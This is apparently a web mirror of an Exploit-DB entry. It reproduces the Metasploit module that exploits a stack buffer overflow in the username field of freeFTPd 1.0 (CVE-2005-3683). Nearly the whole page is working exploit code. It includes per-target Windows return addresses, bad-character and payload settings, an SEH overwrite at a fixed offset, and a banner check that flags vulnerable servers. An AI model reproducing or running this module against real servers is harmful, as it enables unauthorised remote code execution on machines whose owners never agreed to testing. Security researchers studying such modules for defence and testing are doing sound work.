freeFTPd 1.0 – ‘Username’ Remote Overflow (Metasploit) - 体验盒子

作者： Metasploit

日期： 2010-07-03

类别：

remote

平台：

windows

来源：https://www.exploit-db.com/exploits/16707/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

##

# $Id: freeftpd_user.rb 9669 2010-07-03 03:13:45Z jduck $

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::Ftp

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'freeFTPd 1.0 Username Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in the freeFTPd

multi-protocol file transfer service. This flaw can only be

exploited when logging has been enabled (non-default).

},

'Author' => 'MC',

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9669 $',

'References' =>

[

[ 'CVE', '2005-3683'],

[ 'OSVDB', '20909'],

[ 'BID', '15457'],

[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2005-November/038808.html'],

],

'Privileged' => false,

'Payload'=>

{

'Space'=> 800,

'BadChars' => "\x00\x20\x0a\x0d",

'StackAdjustment' => -3500,

},

'Targets'=>

[

'Windows 2000 English ALL',

{

'Platform' => 'win',

'Ret'=> 0x75022ac4,

},

],

[

'Windows XP Pro SP0/SP1 English',

{

'Platform' => 'win',

'Ret'=> 0x71aa32ad,

},

],

[

'Windows NT SP5/SP6a English',

{

'Platform' => 'win',

'Ret'=> 0x776a1799,

},

],

[

'Windows 2003 Server English',

{

'Platform' => 'win',

'Ret'=> 0x7ffc0638,

},

],

'DisclosureDate'=> 'Nov 16 2005'

))

end

def check

connect

disconnect

if (banner =~ /freeFTPd 1\.0/)

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def exploit

connect

print_status("Trying target #{target.name}...")

buf= rand_text_english(1816, payload_badchars)

seh= generate_seh_payload(target.ret)

buf[1008, seh.length] = seh

send_cmd( ['USER', buf] , false)

handler

disconnect

end